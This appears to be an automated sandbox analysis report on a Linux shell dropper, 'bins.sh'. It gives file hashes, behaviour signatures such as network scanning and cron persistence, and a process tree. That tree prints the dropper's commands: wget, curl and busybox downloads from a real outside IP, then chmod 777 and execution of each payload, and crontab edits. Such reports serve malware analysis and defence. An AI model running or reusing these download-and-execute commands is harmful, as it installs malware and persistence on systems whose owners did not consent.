Analysis

  • max time kernel
    150s
  • max time network
    181s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05-11-2024 00:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3dab97248ad8ec9b82bf014cef55938f

  • SHA1

    357849b7a1f1036e07e0f6beae4e71ac80dfeb83

  • SHA256

    12445e75c892094ed968bf9c0a248a1f9e29fceff07f44755fc8ceebcb3e4e37

  • SHA512

    9e8525a46d5ce674e4cb17c0e023143691ef3aa3ffae1b8a3634dd1182fc459367b4fadd42eb35d5992923415fd93fab7b28b9152d00d36df38cda0178a93f80

  • SSDEEP

    192:GF/o26qhFEQuuY9BFy8QzV76qhFEQsBFy8QzDn/Q:Gi26qnEQuuYPM6qnEQ2x

Malware Config

Signatures

  • Contacts a large (2222) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://87.120.84.230/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:670
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:676
        • /bin/chmod
          chmod 777 sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          ./sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Executes dropped EXE
          PID:680
        • /bin/rm
          rm sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://87.120.84.230/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:683
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:684
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:695
          • /bin/chmod
            chmod 777 zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            ./zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:701
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:703
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:705
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:707
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:708
                • /bin/rm
                  rm zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
                  2⤵
                    PID:718
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                    2⤵
                      PID:722
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      PID:804
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                      2⤵
                      • Writes file to tmp directory
                      PID:811
                    • /bin/chmod
                      chmod 777 XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                      2⤵
                      • File and Directory Permissions Modification
                      PID:816
                    • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                      ./XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                      2⤵
                      • Executes dropped EXE
                      PID:818
                    • /bin/rm
                      rm XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                      2⤵
                        PID:820
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                        2⤵
                          PID:822

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /var/spool/cron/crontabs/tmp.ToKYsc

                        Filesize

                        210B

                        MD5

                        aad70c49c8bac060620a0b1e37a4c51f

                        SHA1

                        62e4f64c9960f8458d75c8307452fbe3de8f0c04

                        SHA256

                        1df5dc954ba44edc26daa8acf647349e2126aff23fe43af49cb41684287532a4

                        SHA512

                        eef97daaee2fba6cf3aec9fc26ee9523bae04c33194388856ced43c221ac37858d420c7168ea5f69ff454d5eb587d9fe393e9cc9ea34928271b5e8c26a5940bd